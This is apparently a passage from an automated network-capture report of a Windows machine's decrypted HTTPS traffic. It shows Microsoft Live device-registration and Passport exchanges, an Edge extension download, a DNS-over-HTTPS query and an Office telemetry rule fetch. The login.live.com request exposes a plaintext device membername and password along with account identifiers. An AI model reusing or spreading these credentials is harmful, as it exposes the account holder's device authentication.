2024-11-25 17:28:35 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 72 6b 6d 6e 64 6e 6d 67 7a 65 74 63 75 64 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 3b 57 2e 7a 63 42 50 24 73 64 78 4e 71 6c 53 2d 70 52 41 4f 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02rkmndnmgzetcud</Membername><Password>;W.zcBP$sdxNqlS-pRAO</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-25 17:28:38 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Mon, 25 Nov 2024 17:27:35 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BAY x-ms-request-id: 032f0fcc-60e9-456a-b3d9-9aa3fe70cf8a PPServer: PPV: 30 H: PH1PEPF00011EE7 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 17:28:37 GMT Connection: close Content-Length: 17166
2024-11-25 17:28:38 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 34 30 31 31 39 36 31 35 31 34 44 41 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 63 35 62 64 64 34 65 38 2d 32 37 64 31 2d 34 33 32 31 2d 61 61 30 34 2d 36 66 36 34 34 36 62 30 66 65 62 33 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>00184011961514DA</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="c5bdd4e8-27d1-4321-aa04-6f6446b0feb3" LicenseID="3252b20c-d425-4711
2024-11-25 17:28:38 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49772	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:35 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-25 17:28:35 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 17:28:35 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 17:27:35 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 86ba38a5-380a-4607-b92a-447e6731d73a PPServer: PPV: 30 H: PH1PEPF0001B826 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 17:28:34 GMT Connection: close Content-Length: 1276
2024-11-25 17:28:35 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49779	172.217.19.225	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:35 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:35 UTC	565	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC5PORTvvCZnmg8ylymoVoIJR9ylyfodIevcpGIOY4YlNiBXS_Kucpitjhh8E-j3chUYGCc X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Mon, 25 Nov 2024 16:45:00 GMT Expires: Tue, 25 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 2615 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-25 17:28:35 UTC	825	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-25 17:28:35 UTC	1390	IN	Data Raw: 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 e7 Data Ascii: __5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-25 17:28:35 UTC	1390	IN	Data Raw: 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 24 Data Ascii: eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4$
2024-11-25 17:28:35 UTC	1390	IN	Data Raw: dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e fc Data Ascii: oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-25 17:28:35 UTC	1390	IN	Data Raw: e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac bf Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-25 17:28:35 UTC	1390	IN	Data Raw: 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 9d Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-25 17:28:35 UTC	1390	IN	Data Raw: 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 58 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1X
2024-11-25 17:28:35 UTC	1390	IN	Data Raw: ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc 1f Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-25 17:28:35 UTC	1390	IN	Data Raw: 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a 73 Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.js
2024-11-25 17:28:35 UTC	1390	IN	Data Raw: 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 Data Ascii: i'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49790	162.159.61.3	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 17:28:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:36 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:36 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: f380030e-501e-007b-0625-3d5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172836Z-178bfbc474bbcwv4hC1NYCypys00000007k000000000n4wy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:36 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" 